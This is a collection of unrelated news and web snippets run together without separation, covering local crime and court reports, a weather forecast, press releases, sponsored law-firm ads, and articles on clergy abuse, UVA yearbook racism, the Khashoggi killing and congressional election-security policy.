The company expects the authors to market their own books, but, as Dancy said, she told the company, Im not pimping no book. Im not hustling no book. She just was going to sell them if people expressed interest.

So far, 435 copies of her book have been sold.

Dancy said she was talking about her experience in part to encourage others who might want to try the same thing.

Keep looking out for one another, she said. When one makes it and another comes behind, you help by giving some insight. Thats why were here on this earth.

PHCC President Angeline Godwin asked her if there would be a second part to the book.Nicole Harris, executive director of the Martinsville-Henry County SPCA, said she was not called to the scene, but after learning about the crash, she drove by there a little after 7 a.m. She said she saw the overturned truck and estimated she saw more than 10 dead turkeys and live turkeys inside the truck that had overturned.

She said the her office had been called out to two previous Circle S Ranch turkey truck accidents on U.S. 220 in recent years.

"It's devastating," she said. "There needs to be stricter regulations and guidelines for transporting these animals."

Harris added she feels the cages in which the large turkeys are transported do not provide adequate space for them.

Dan Paden, director of evidence analysis for Norfolk-based People for Ethical Treatment of Animals, said in January this was the fourth wreck of a Circle S Ranch turkey truck on 220 since 2012.

"I would strongly encourage this company to change its transportation route to bypass 220 North from the Virginia state line as far north as they can go. It should not take four of these wrecks for that measure to be taken," Paden said.Buena Vista, CO (81211)

Today

Partial cloudiness early, with scattered showers and thunderstorms during the afternoon. High 76F. Winds SW at 10 to 15 mph. Chance of rain 60%..

Tonight

A few clouds. Low 49F. Winds WNW at 10 to 15 mph.His comments followed the revelation that 20 members of Martinsville-Henry County Bar Association who voted at a special meeting Monday night rated Eric Monday as not qualified to serve on the bench, mirroring action taken last week by the Patrick County Bar.

Six members voted that Monday was highly qualified, and five found him qualified. One person abstained, according to an email bar association President Awbrey Watts sent to its members and obtained by the Martinsville Bulletin.

The email stated that Watts had sent these results, as well as the biography and resume of Monday, to the districts state delegates (Danny Marshall, R-Danville; Charles Poindexter, R-Franklin County; and Adams) and to Sen. Bill Stanley (R-Franklin County).

When contacted by the Bulletin about her groups vote on Monday, Watts responded with an email: The Martinsville-Henry County Bar Association is not releasing results regarding how we voted on any of the candidates vying for the judgeships.

When asked why the bar was being secretive about a public issue, she responded: As previously stated, no results are being released regarding the voting. Otherwise I have no comment.You will receive full, ad-free access to ManchesterTimes.com as well as full access to the Electronic Edition of the newspaper.





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Only $40.99 per year after promotional period.Chance the Rapper is looking to drop the sound of the (US) summer after announcing his new album will be gracing us this July! The Chicago native took to social media to make the announcement while out on a "shopping spree with his girl."

The "No Problems" rapper explained to fans that hes been working on new music and hes enjoying life, while mentioning that the album will be dropping in July. Chano's manager also provided confirmation for the announcement by sharing the July release date on his IG page with "confirmed" as his caption. While there's no info yet about what his upcoming project will be called or what we can expect from it, at least we know it's coming!

Check out the announcement down below:Ensure you get a print copy of the Loudoun Times-Mirror delivered weekly to your home or business!

Complete online access is included with all print subscriptions purchased online. Plus, up to four other members of your household can share online access through this subscription with their own, individual linked accounts at no additional charge.

(Are you a current advertiser? Ask your sales rep for our special advertiser rate code!)Music, Movies & Entertainment, Local News, Arts & Culture, Press Releases

By Tom Needham Published: February 13 2019

Female documentary filmmakers, Cassie Jaye and Alexandra Pelosi, are Tom Needhams guests on Thursdays Sounds of Film.

Stony Brook, NY - February 13, 2019 - Documentary filmmakers Cassie Jaye and Alexandra Pelosi will be Tom Needhams special guests this Thursday at 6 pm on Documentary filmmakers Cassie Jaye and Alexandra Pelosi will be Tom Needhams special guests this Thursday at 6 pm on WUSBs The Sounds of Film. Cassie Jaye will be talking about her provocative film, The Red Pill. Alexandra Pelosi will speaking about her movie Meet the Donors.

The Red Pill tells the story of feminist filmmaker Cassie Jaye, who set out to make a film about the controversial and polarizing Mens Movement. After starting her production, she began to question her own beliefs about these organizations, who were supposedly hate groups aimed at turning back the clock on womens rights. Over time, she learned about the many ways that men are actually disadvantaged and discriminated against in society.

Cassie Jaye has produced a series of documentary films including the award winning Daddy I Do, which examined the Abstinence Only Movement versus Comprehensive Sex Education, and The Right to Love: An American Family, which followed one familys activism fighting for same-sex marriage rights in California.

The Sounds of Film is also re-airing a popular interview with acclaimed filmmaker Alexandra Pelosi, who will be talking about her film Meet the Donors. Alexandra Pelosi is a writer and Emmy-nominated documentary filmmaker. She is the daughter of the Speaker of the House of Representatives, Nancy Pelosi. In recent years, she has been working extensively for HBO. Some of her provocative films include Diary of a Political Tourist, the Trials of Ted Haggart and San Francisco 2.0. She is also a regular correspondent on Real Time With Bill Maher. On Thursday, she will be discussing her film Meet the Donors: Does Money Talk. In this documentary, Alexandra takes viewers behind the scenes at top-dollar fundraisers and chats with dozens of ultra-rich mega-donors from both political parties.

About the Sounds of FilmLocal News, Community, Charity & Cause, Health & Wellness, Press Releases, Politics

By Long Island News & PR Published: February 13 2019

As the mother of two special-needs children, I know firsthand how critical the services provided by these organizations are to families, said Miller.

Long Island, NY - February 13, 2019 - Recently, Assemblywoman Melissa Missy Miller (R, C, I  Recently, Assemblywoman Melissa Missy Miller (R, C, I  Atlantic Beach ) stood with her Assembly colleagues, Angelas House founder Bob Policastro and members of CDPAANYS to voice concerns over Gov. Cuomos decision to cut $75 million from the Consumer Directed Personal Assistance Program (CDPAP), a statewide Medicaid program that provides alternative ways of receiving at-home care services, allowing consumers more control over who provides their care and how it is provided.

As the mother of two special-needs children, I know firsthand how critical the services provided by these organizations are to families, said Miller. I am absolutely appalled by the governor's proposal regarding the disabled population. I am trying to absorb not just his usual annual attempt at cutting funding for crucial programs, but now also this direct assault on the disabled population across New York state,

Miller continues to be a voice for the disabled community and a strong advocate to protect their rights. In 2017, Miller was a strong advocate toward the initiative for direct-support professionals (DSP) to earn a living wage and in 2018 she supported the passage of legislation to require adult changing stations in public buildings.

I have and always will support and fight for the disabled community and today I want to thank all of my colleagues and the Long Island CDPAANYS members who took the time to drive to Albany to fight with me, Miller said. This press conference was so important and it is a time for our leaders, communities and organizations to come together as one and fight against our governors consistent attempt to defund and disregard the needs of our states most vulnerable individuals,

In an effort to address the governor about the proposed budget cuts, Miller has created a petition that can be found at the following link: CDPAP Petition . Please take the time to share how this cut will affect you and sign this petition to fight for CDPAP.A Co Mayo man and neighbour of Judge Seamus Hughes has escaped a criminal conviction after hurling abuse to gardai at Athlone Train Station.

Damien McGrotty (39), 10B Garryduff Drive, Castlebar, Co Mayo was charged with breaches of Section 4 and 6 of the Criminal Justice (Public Order Act) 1994 arising from an incident at Athlone Train Station last Monday week (February 4).

The court was told gardai were called to deal with an alleged disturbance involving a male.

Upon arrival, its alleged they found Mr McGrotty in an intoxicated state and who was causing a nuisance to the general public.

It was also revealed Mr McGrotty was highly abusive to both gardai and staff members at the station which ultimately led to his arrest.

As he listened to the prosecution evidence, Judge Hughes asked if Mr McGrotty had been co-operative with gardai in the moments that followed.

Did he sober up in the station? asked Judge Hughes.

Not initially, said the prosecuting garda.

He refused to furnish an address and was quite abusive back at the station.

Judge Hughes was also told Mr McGrotty had 38 previous convictions to his name, ten of which related to offences in Northern Ireland.

It was further disclosed Mr McGrotty had only recently completed a two month prison sentence for theft and hailed from Westport originally.

When that was relayed to the court, Judge Hughes said not only did he know the accused but that he also lives just a few doors up from me.

In defence, Frank Gearty said there was a personal nature behind his clients propensity for alcohol.

He was released from prison the day before and regretfully went on the beer, said Mr Gearty.

He explained Mr McGrotty was a welder by profession but was currently unemployed.

He has been unable to work because of the difficulties life has presented him and the difficulties he has presented, said Mr Gearty.

At that juncture, Judge Hughes said his knowledge of Mr McGrotty was of a man who was largely well got in his home locality.

I probably know more about this man than you do, he said.

He is a respectable lad who minds his own business but who disappears every now and again.

In empathising with Mr McGrottys present anxieties, Judge Hughes added: Obviously you have personal difficulties and you have to watch the drink and bite the tongue.

Sporting a black jacket with grey trousers, Mr McGrotty indicated he wasnt in a position to offer much by way of compensation to the court for what occurred the previous day.

Dont come back, said Judge Hughes.

You have got a chance from me. Dont come back to this neck of the woods anymore.

Judge Hughes struck out the Section 4 charge and dismissed the Section 6 offence under Section 1 (2) Probation Act.Gardai are on the hunt for a gang of burglars who smashed their way into a well known local fast food outlet at the weekend.

Two males approached the Ballymahon Street premises in Longford town shortly after 4am on Saturday morning (February 9) where at least one of the males attempted to gain entry by launching a series of kicks at its front door.

Seconds later, the pair are understood to have succeeded in their efforts before efforts were made to gain access to the store's till.

During those attempts, an alarm was activated, forcing both men to flee the scene.

It's believed gardai are focusing much of their inquiries on CCTV footage taken from close to the scene as well as Skoda Octavia car which is being linked to the incident.

In a separate and unrelated incident, detectives are also looking for clues into a break in at a mobile phone shop on Longford's Market Square on Sunday morning.

This time, a sole suspect lashed out at the front door of the premises at around 11:30am.

After securing entry a short time later, the thief snatched a mobile phone from inside before attempting to escape on foot.

It's understood that as the suspect was chased from the scene, the stolen property was inadvertently dropped to to the floor.

Gardai remain anxious to talk to anyone who may have witnessed either incident to contact them at Longford Garda Station.

Equally, investigators are keen to solve a suspected hit and run incident close to the Red Cow roundabout on the outskirts of Longford town last Friday evening.

It's believed a female motorist, who was at the wheel of her Mercedes car, was in the process of exiting the roundabout by taking the Drumlish exit when she was struck by a car and trailer.

Its driver momentarily stopped but took off seconds later in the direction of Drumlish.

Anyone with information in connection to this incident or the aforementioned two incidents, is asked to contact Longford Garda Station at (043) 3350570.The beginning of the school year when you got to show off your new duds, new cars, new looks!

Sports! Playing, cheering, watching high school athletics.

The arts: Dramatic arts, musical groups and shows, graphic arts groups, debate, etc.

The prom! No dancing the night away or punch bowl antics.

The daily interactions. Just being with the group, hanging with friends and classmates.

Access to college recruiters and advisors  its harder to line up higher education.

Walking onstage to get a diploma while all the family is watching with everyone elses family.

Vote

View ResultsLois Tedesco entered into rest June 18, 2021. Predeceased by her parents Carlton and Catherine (Buchannon) Fruck. Beloved mother of Lynn (John) Villella, Shane (Dana) Lamke and Tonya (Kenny) Tedesco; cherished grandmother of six; and several great-grandchildren; dear sister of June (late HenIf you are injured in an accident through no fault of your own, you are owed compensation for your medical costs, pain, and suffering. Often times, however, insurers are unwilling to pay out. When you choose a lawyer, they may suggest the best thing to do is to settle with the insurance company to avoid a lengthy trial. But, should you settle? The simple fact is insurance companies love settlement mills. Heres what they are, and how to avoid them.

What Are Settlement Mills?

A settlement mill is a law firm set up to make a quick buck off of their clients. Its as simple as that. The way settlement mills operate is they take on clients with no real intention of taking their personal injury case to court. Rather, they seek to settle cases with insurance firms quickly out of court. This allows them to collect their fees with minimal work on behalf of their client.

What this means is that your lawyer gets their 33 percent fee with little-to-no effort on their part, the insurance company likely saves large amounts of money on litigation costs and a higher-payout to the injured party, and you, the victim, suffer. With a settlement mill, everyone wins but you.

How to Avoid Settlement Mills

If you are looking for a quick payout, a settlement mill may seem like an attractive option. Its important to remember, however, that these types of firms arent looking out for your best interest. To avoid becoming another victim of a settlement mill, you need to ensure you take time selecting the best possible attorney for your claim.

When researching a firm, take the time to explore their services, their history, and their results. Investigate the background of the attorneys who will be representing you, how they assess each case, and how engaged they will be in the process. Also, ensure you take the time to learn about your legal rights.

Thomas J. Henry  Dedicated, Determined Accident Attorneys

Thomas J. Henry has the resources to handle your case and get you the results you want and deserve. We arent a settlement mill. We are a team of highly-experienced attorneys dedicated to providing our clients with the most up-to-date information and respectful, comfortable care throughout the legal process. We are at the forefront of new and innovate legal solutions, meaning, our lawyers are accessible to clients anywhere around the world at any time of the day.

If you have been injured in an accident, dont fall victim to a settlement mill. Make sure you contact the largest and most successful personal injury firm in Texas. Thomas J. Henry has the experience, expertise, and determination to get their clients the large settlements and verdicts they deserve. This includes a recent $30.2 million verdict in a vehicle recall case. So, if youve been injured in an accident, dont fall for flashy gimmicks. Call Texas premier personal injury law firm. Call Thomas J. Henry today at 361-221-5053.

Editors Note: This content is made possible by Thomas J. Henry Personal Injury Law. It is not written by and does not necessarily reflect the views of The San Antonio Express-News' or mySanAntonio.com's editorial staff. Learn more about our advertising products at www.hearstmediasanantonio.com.A Tennessee family has filed a lawsuit against Rutherford County Schools. The family alleges their autistic eighth-grader was sexually abused by a school caretaker in September 2018.

Information About the Sexual Abuse Lawsuit

According to the Murfreesboro Post, Rutherford County Schools hired a male teaching assistant to care for the boy. In September, a custodian and another school employee observed the caretaker inappropriately touching the autistic student on two separate occasions. The custodian and school employee notified the principal but the allegations were ignored.

The parents filed the lawsuit in January, alleging a violation of equal protection under the 14th Amendment and the Americans with Disabilities Act.

The lawsuit asks that Rutherford County Schools enact new policies, including proper harassment training and hiring protocols for staff working with children with intellectual disabilities. The family also requests damages for physical and emotional harm.

Lawsuit Claims Neglect From Previous Years

In addition to the sexual abuse, the lawsuit alleges a pattern of neglect which occurred during the boy's sixth and seventh grade years. On one occasion, the boy was left unsupervised when he fell off of a therapy ball and severely injured his mouth.

The boy has since been placed in homebound instruction.

Were You or A Loved One the Victim of Sexual Child Abuse?

Thomas J. Henrys firm is one of the largest plaintiffs firms in the country. The firm currently houses more than 135 attorneys and 350 supporting staff in eight office locations across Texas in San Antonio, Corpus Christi, Austin, El Paso, and Houston.

We are leaders in the field of personal injury and have helped countless child abuse and child injury victims. The firm has taken on numerous cases dealing with child abuse and molestation against individuals, daycares, businesses and organizations, including several against the Catholic Church.

In 2016, Thomas J. Henry pursued a high profile case against the Archdiocese of San Antonio and now-deceased San Antonio clergy member Father Virgilio Elizondo. The lawsuit alleged Elizondo had sexually abused a young boy for years. Elizondo took his own life in March 2016 before he could be deposed.

Over the years, the firms founder, Thomas J. Henry, has donated to hundreds of children's charities throughout the United States. In 2015, the Henry family partnered with ChildSafe, a San Antonio area organization that provides services to children and teenagers who have been traumatized by abuse, sexual abuse, or neglect. He provided the largest donation the organization has ever received.

In 2014, Thomas J. Henry publicly backed Nico LaHood in the hotly contested race for San Antonio District Attorney. LaHood ran on the platform of keeping children safe from physical and sexual abuse. Thomas J. Henry donated more than $1 million to his campaign.

Editors Note: This content is made possible by Thomas J. Henry Personal Injury Law. It is not written by and does not necessarily reflect the views of The San Antonio Express-News' or mySanAntonio.com's editorial staff. Learn more about our advertising products at www.hearstmediasanantonio.com.There is much work to be done by the U.S. Catholic Church as it moves forward with restoring the public trust, shattered by decades of failing to properly address allegations of sexual abuse of children by clergy.

The release last month of the names of close to 300 Texas-based priests who have been credibly accused of sexual abuse, including 54 in the Archdiocese of San Antonio, will go a long way toward starting the healing process for many victims and their families. But its only a beginning.

The scars are deep.

The cases on the Bexar County list date back as far as 1941 and include 150 separate allegations of misconduct. Most of the allegations were under the radar of most Bexar County residents because only a few ever surfaced in court. A review of Express-News archives indicates the archdiocese had paid at least $6.63 million as of 2011 to victims of sexual abuse by priests in Bexar County.

As painful as these types of cases are, there needs to be continued honesty and transparency going forward. Needed: strong policies that ensure allegations of misconduct are reported to law enforcement in a timely manner and suspects are sidelined from their jobs while investigations are conducted.

Those who participate in cover-ups and allow suspected child molesters to be reassigned must also be held accountable. Pretending the problem does not exist wont make it go away. Decades of trying to resolve the problem internally have proven futile.

One of the more troubling cases on the Bexar County list is that of Jose Luis Sandoval, who was ordained in 1974 in Mexico and served in San Antonio from 1974 to 1998. During his time in Texas, he was investigated for alleged child sexual abuse, sent to psychiatric evaluation and treatment for a year, and then allowed to return to his job.

He later fled the country when new allegations of abuse surfaced and was subsequently removed from his assignment and prohibited from exercising any priestly ministry in the Archdiocese of San Antonio by Archbishop Patrick Flores in 1998.

Yet despite all that, Flores, who retired in 2004, later wrote a general letter of support for Sandoval without a reference to his problems in San Antonio. Sandoval proceeded to work with the Archdiocese of Guadalajara in 2000, but four years later lost his privileges there as well.

It appears what Flores did was common practice. Problem priests were removed from jobs when trouble arose and then simply allowed to go into unsuspecting communities where the same issues often surfaced.

The number of children who were abused will never be known. Some victims are still trying to come to terms with what happened to them and have not come forward.

And the list is likely to grow. As the report was released, the local archdiocese was investigating cases involving other priests.

All credible allegations must be investigated, not just in Texas or the U.S. but abroad as well.

A week after Texas archdioceses gained international attention for the release of their priest lists, Pope Francis publicly acknowledged the sexual abuse of nuns by priests and bishops. The sexual abuse of nuns by clergy in Europe, Africa, Asia and South America was reported by the Associated Press last year. The news agencys investigation found the Vatican had not supported the victims or taken adequate measures to punish the offenders.

Pope Francis is slated to meet with the presidents of the worlds bishops conferences later this month to focus on a response to the global sex abuse crises. He has said he is committed to ending the problem.

Following the Catholic Churchs release of names, a Houston Chronicle/San Antonio Express-News report revealed similar abuse stories within the Southern Baptist Convention. We will comment separately on this matter in the coming days. For now, suffice to say that such revelations  absent accountability and absent acceptance of responsibility  will have the effect of diminished trust in institutions in which many thought trust was a given.

It can be again, but only if that commitment to address the problem is vigilant and continuing.For decades, Texans have complained to their legislators about nonstop increases in property taxes. And for decades, theyve been promised action. Yet when the tax bill arrives in the mail, the amount due each year climbs sharply.

Until we stop taxpayer-funded lobbying, that vicious cycle will continue unabated.

When legislative committees hold hearings on property taxes, there are dozens of lobbyists on the public payroll in the audience. Their rhetoric varies from session to session, but their goal is the same: increasing taxes and spending for local governments. School districts, counties, cities, special districts and associations of local governments hire them. They have a lot of experience working with state lawmakers and often have public relations teams and polling data at their disposal. Some also make campaign contributions, even though they are funded from the public purse.

Meanwhile, homeowners are working to feed their families and pay the taxes. To attend committee hearings, taxpayers have to take time off from work and travel at their own expense. Similarly, small-business owners, who often see double-digit percentage increases year after year, often cant afford to hire another employee for their business, much less a lobbyist. Banning taxpayer-funded lobbying would level the playing field and ensure the taxpayers dont pay to have their taxes increased.

Some in local government claim that the controversy over taxpayer-funded lobbying is an effort to silence government officials. Nothing could be further from the truth.

State agencies have been prohibited from lobbying for decades, yet no one complains that state employees are silenced. On their own time, using their own resources, they can contact their legislators or join associations that lobby the Legislature. They just dont get to use other peoples money to do it. Banning taxpayer-funded lobbying would apply the similar rules to all government entities.

At the 2018 Republican Party of Texas State Convention, delegates heard the concerns of taxpayers, and made property tax reform and ending taxpayer-funded lobbying legislative priorities for 2019. Its time for lawmakers to stand with taxpayers, not the tax increase lobbyists and the governments who hire them.

As for local government officials, they constantly complain that if we limit how fast they can raise taxes they may have to cut public safety. Heres a better alternative: Take the millions being spent on lobbyists and lobby associations and spend it on public safety instead.

Lets make 2019 the year we put taxpayers first and finally get property taxes under control. To do that, we must end taxpayer-funded lobbying.

James Dickey is chairman of the Republican Party of Texas.The turmoil engulfing Virginia politics is exposing a vein of racism that ran through the state's flagship university from its earliest days. And it is casting a spotlight on the racist ideas and traditions documented in its yearbook, with even the name of that annual volume possibly having racist connotations, a historian has suggested, leading to calls for a new yearbook title.

At the University of Virginia, an investigation into the role of race on campus had unearthed scores of white-supremacist images and commentary in the school's yearbook, Corks and Curls, even before the political news broke. It's a theme evident in university history, according to a scholar who has been leading a group exploring the role of enslaved people and who is delving into the years of racial segregation in hopes of presenting a more complete and honest historical account of the school.

The political crisis was sparked by the revelation of a photo on the 1984 Eastern Virginia Medical School yearbook page of Gov. Ralph Northam showing someone in blackface and someone in a Ku Klux Klan outfit. That was followed by an admission by Virginia Attorney General Mark Herring that he wore blackface as part of a costume in 1980 while he was a student at U-Va.

U-Va. is not alone. The political revelations prompted schools nationwide to scan their own yearbooks. Many found images of students in blackface or other offensive elements.

University of North Carolina officials last week condemned a 1979 yearbook photo of a simulated lynching of a person wearing blackface by two people wearing KKK robes. On Monday evening, American University officials emailed the campus to say that school officials had found 15 images of concern after reviewing the school's yearbooks. "The racism and ignorance reflected in these images is abhorrent," wrote AU Provost Daniel Myers and Fanta Aw, vice president of campus life. "We regret the pain they have caused."

But at U-Va., according to Kirt von Daacke, a professor of history and assistant dean of the college of arts and sciences, more white-supremacist images and text appear in old yearbooks than he has seen at other universities in the state. For a few years early in the 20th century, some volumes contained as many as 30 to 35 examples, he said.

"There's definitely something unusual, at least compared to the schools I looked at, in the amount of this material in the U-Va. yearbook," said von Daacke, who is helping lead the intensive exploration of the university during the years of segregation.

Rhae Lynn Barnes, an assistant professor of history at Princeton University, wrote in The Washington Post recently that U-Va.'s yearbook got its name from blackface traditions, referencing "minstrel slang for the burned cork used to blacken faces and the curly Afro wigs that were signature costume pieces."

The first edition of the yearbook provides a different explanation for the name. Editors note that the name, "this cabalistic phrase," must be "almost meaningless to an outsider." The editors then present an essay explaining the name, written by a fictitious student, von Daacke said. "Cork" was used to evoke "the real agony of the unprepared student," who, when called on in class, "sitteth and openeth not his mouth, even as a bottle that is corked up."

"Curls" was attributed to a legend about an ambitious student who, when praised by a visiting George Washington, seemed "as pleased as a dog when he is patted on his head" and curls his tail in delight.

Von Daacke said he hasn't found evidence that the words have an origin linked to minstrelsy. Starting in the 1860s, U-Va. publications, letters and diaries contain references to corking and curling as academic slang.

But for a number of reasons, he thinks people at the time may have read the title as containing a double entendre, a reference to blackface. The editor credited with coming up with the name sang in the school's glee club, which was photographed performing in blackface.

Barnes, the Princeton assistant professor, did not respond to a request for comment this week.

When the Civil War began, the university was already an incubator of pro-slavery, white-supremacist thought, von Daacke said. In 1865, the campus was populated by Confederate veterans. In 1888, when the yearbook was first published, the Jim Crow system was being built and enforced. Early in the 20th century, two KKK cells formed in Charlottesville, whites-only parks with Confederate monuments were created, and the yearbooks contain repeated references, including cartoons, poems and stories, that denigrate black people.

Over the years, those images diminish, von Daacke said, but do not disappear. There's a simulated-lynching photo in 1959 after a student protest, and an image from 1971 evokes a lynching. In more recent years, yearbooks have carried pictures of students at parties with their faces painted black. Old South parties featuring racist tropes continued into the 1990s for some social groups, von Daacke said. People painted their faces black or brown at a party co-hosted by two fraternities in 2002.

The yearbook stopped publishing in 2008 amid diminishing interest from students who were less enamored of buying bound volumes as social media kept them connected for free. But in 2014, U-Va. students resurrected the tradition, helped by donations from graduates.

Nik Popli, a second-year student who is news editor at the Cavalier Daily student newspaper, said he was surprised to learn that U-Va. had a yearbook. But after the political news broke, he and other members of the paper's staff found old volumes of Corks and Curls and paged through.

Having the images resurface and talking about the university's racist past is particularly important for U-Va., Popli said, where white supremacists marched with torches less than two years ago. He thinks most students will feel passionately that the yearbook's name should be changed.

U-Va.'s president, James Ryan, addressed the issue in a message last week highlighting the importance of the research the university is doing to give a more complete and honest account of its history.

Ansley Gould, a third-year student who is the editor in chief of the yearbook, wrote in an email that the images printed in earlier editions are shocking. "We want to actively engage with the work the university has been doing on reviewing U-Va. publications throughout our history, and work with them on how we move forward," she wrote.

"A name change is definitely a consideration for us," she wrote.The end of last week was the final date for the Trump administration to submit a congressional report answering whether the Saudi crown prince was responsible for the murder of journalist Jamal Khashoggi in October. The administration let the deadline pass with little acknowledgment.

The snub drew outrage. Under the terms of the Magnitsky Act - U.S. human rights legislation lawmakers had triggered shortly after Khashoggi's killing - Trump had 120 days to respond to the request and then possibly move to impose further punitive sanctions. Anger over the killing of the Saudi citizen, a contributor to The Washington Post's Global Opinions page, forged an unusual bipartisan consensus in Congress.

So far, the White House has doggedly refused to turn on its allies in Riyadh. It didn't matter that the CIA's own assessment was that the operation to abduct the dissident writer on a visit to Turkey was probably ordered by Crown Prince Mohammed bin Salman himself; a senior administration official released a statement arguing that the president "maintains his discretion to decline to act on congressional committee requests."

"The non-answer is a blatant dodge that ignores the finding of the CIA and the abundant evidence behind it," The Washington Post's editorial board noted in response. "It makes a mockery of the Magnitsky law, as well as of U.S. principles by covering for the crown prince to protect the cozy relations between him and President Trump, as well as Trump's son-in-law, Jared Kushner."

Lawmakers weren't happy, either. Sen. Marco Rubio, R-Fla., said the White House's refusal to submit a report by the deadline "violates the law." He added that he was "urging" the White House to act, saying, "I expect them to comply with the law." Senators reintroduced a bill requiring sanctions for those responsible for Khashoggi's death and brought separate new legislation that would place tough standards on a mooted nuclear deal with Riyadh.

"America should never descend to this level of moral bankruptcy," Sen. Tim Kaine, D-Va., said in a statement. "Congress will not relent in its efforts to hold Saudi Arabia accountable for this heinous crime."

At a news conference in Budapest, Secretary of State Mike Pompeo rejected Kaine's comments. "America is not covering up for a murder," the U.S. top diplomat said Monday, insisting that American officials were seeking "additional information" from Saudi counterparts and taking further action. The Trump administration already announced sanctions on 17 people linked to the killing, he noted, including prominent Saudi courtiers.

But as more evidence comes to light, it looks increasingly as though the White House is seeking to shield the man with the most power in Saudi Arabia: the crown prince.

This week, The New York Times reported on a 2017 conversation between the crown prince and a key aide in which he vowed to use "a bullet" to end Khashoggi's criticism of the Saudi regime. Not long before that, a U.N. human rights expert said that Saudi Arabia had "seriously curtailed and undermined" Turkish attempts to properly investigate Khashoggi's disappearance after entering the Saudi Consulate in Istanbul.

"Evidence collected during my mission to Turkey shows prime facie case that Mr. Khashoggi was the victim of a brutal and premeditated killing, planned and perpetrated by officials of the State of Saudi Arabia," special rapporteur Agnes Callamard said in a statement.

Key allies of the crown prince may ultimately escape serious punishment, too. According to a new report in the Wall Street Journal, one of the main ringleaders that Saudi Arabia has named in the plot, Saud al-Qahtani, has retained much of his power. Though fired from his official position in the court and included in the list of Saudi individuals subjected to sanctions by the United States, he remains an informal adviser to the crown prince and was recently spotted on a trip to the United Arab Emirates.

"For MBS, Qahtani was the backbone of his court, and [Mohammed] assured him that he will be untouched and will return when the Khashoggi case blows over," a Saudi royal told the Journal, using the crown prince's initials. "MBS had no intention whatsoever to let go of Qahtani."

Saudi officials are still waging a propaganda war over the killing. In a Sunday interview with CBS's "Face the Nation," Adel al-Jubeir, the Saudi foreign minister, described Khashoggi's death as "tragedy" and a "mistake" but added that the "crown prince had nothing to do with this." He then endured an awkward exchange with his interlocutor, CBS anchor Margaret Brennan, who pressed him on how it was possible that Saudi authorities had no idea where Khashoggi's body was.

"I think this investigation is ongoing, and I would expect that eventually we will find the truth," Jubeir finally mustered.

Trump has his own reasons for rallying behind the Saudi throne. His dodging of the congressional request was a sign of how White House officials "are slow-rolling" the Khashoggi affair, former State Department spokesman John Kirby said in an interview with CNN. The Saudis are vital allies in Trump's maximum-pressure campaign on Iran - and the White House is scared of tarnishing them.

"This whole episode shows you the degree to which this administration has gone all in on Saudi Arabia," Kirby added. "It shows you the degree to which their Middle East policy is about Iran, and they see Saudi Arabia as the biggest counterweight against Iran."

The complexities of Trump's anti-Iran campaign will be on display in Warsaw on Wednesday, when Pompeo will co-host a conference ostensibly on the Middle East but widely seen as an anti-Iran summit. While Israeli and prominent Gulf officials will be in attendance, some traditional European allies will not be: The foreign ministers of France and Germany chose to skip the proceedings. The Saudis, Israelis and Emiratis - "like-minded" partners insofar as they oppose Tehran - will be better represented.

Speaking to the National, an Abu Dhabi-based newspaper, a European official at the United Nations described the Trump administration's pre-Warsaw planning as "a series of chaotic decisions being made at random." For now, that fumbling may be the best thing protecting senior Saudis from real repercussions over Khashoggi's killing.WASHINGTON - As the House Homeland Security Committee meets Wednesday for the first election security hearing of 2019, Congress is still far away from a grand bargain to help protect state election systems from foreign hackers.

But the goalposts may be changing with Democrats in charge of the House.

The new top Republican on the committee, Alabama Rep. Mike Rogers, said he's ready to impose requirements on states to secure their election systems against hackers. He called for a baseline of security states must meet before receiving money from the government to upgrade outdated and vulnerable voting machines and secure other election infrastructure.

"We want to get some minimum standards that have to be adhered to," Rogers said in an interview. And he says he's willing to work with Democrats to get it done.

This is a step forward from last Congress when many Republicans -- including governors-- balked at the idea of imposing serious mandates on states after an initial delivery of $380 million for security with no strings attached. House Republicans last session largely evaded the question of election security; they did not offer any major proposals or hold any hearings on the topic until well into 2018.

But the terrain looks different in Washington now that Democrats are exercising their new power in the House to push for a broad overhaul in U.S. elections -- and security mandates are starting to look more like the middle ground.

House Democrats' first bill of the new Congress mandates states use paper ballots rather than digital ones and make other security upgrades in exchange for $120 million. But it also pushes for a whole host of progressive priorities opposed by many Republicans. H.R. 1, also known as the For the People Act, would expand automatic voter registration, restore felons voting rights and make Election Day a national holiday, among other things.

Rogers says the Democrats' proposal is a nonstarter, but is open to compromise on the security parts.

"H.R. 1 is not a bipartisan vehicle," he said. "But, it's my hope that after H.R. 1 moves on the House floor, we can revisit just the election security part with an actual vehicle that might move through the Senate."

Rogers wants to organize a meeting in the next two months with House Homeland Security Committee Chairman Bennie Thompson, D-Miss., and leaders of the Senate Homeland Security Committee to hammer out a bill that can win bipartisan support in both chambers, he said.

"I want to make sure we're all singing off the same sheet of music, a vehicle that can get through the House and Senate," Rogers told me. "As long as we don't get too in the weeds and start getting to the point of picking winners and losers [in the election industry], I think we'll get Republicans to go along."

Rogers's fig leaf may not be enough, however, to spark a compromise between emboldened House Democrats and Republicans who still control the Senate and have been notoriously wary of any kind of mandate on states. That means Congress may be unable to pass meaningful legislation to secure election systems before the 2020 presidential contest when Homeland Security officials say foreign hackers may pose a much greater danger than during the 2018 midterms.

It doesn't appear to be swaying Democrats, either: A Thompson staffer said the chairman appreciates Rogers's commitment to election security but is focused on passing the Democratic bill. Thompson introduced a version of that bill's election security provisions last Congress, which won 126 Democratic co-sponsors and no Republican ones.

There are also problems in the Senate where the most popular bipartisan bill last Congress, the Secure Elections Act, basically punted on security mandates, leaving the question to an advisory panel convened by the Department of Homeland Security. That bill still never reached the Senate floor, partly because of White House concerns.

Rogers said he hopes lawmakers can agree to a bill with specific mandates this Congress that goes further than the Secure Elections Act.

That bill "didn't really crank my tractor," he said. "I didn't think it went far enough. We've got to be more specific."

Finally, there's also a partisan division among states seeking election security money, state officials have told me, with Democrats more comfortable with federal mandates than their Republican counterparts.

California Secretary of State Alex Padilla, the state's top election official, will testify at Wednesday's hearing that Congress should endorse election security best practices, such as keeping election infrastructure off the Internet as much as possible, using paper ballots and rigorously testing voting systems before an election and auditing them afterward, according to written testimony his office provided me.

States will need new federal grant money to implement those security measures, though, and to upgrade their current, outdated election systems, Padilla plans to testify. And the $380 million Congress granted last year simply wasn't enough, he'll say.

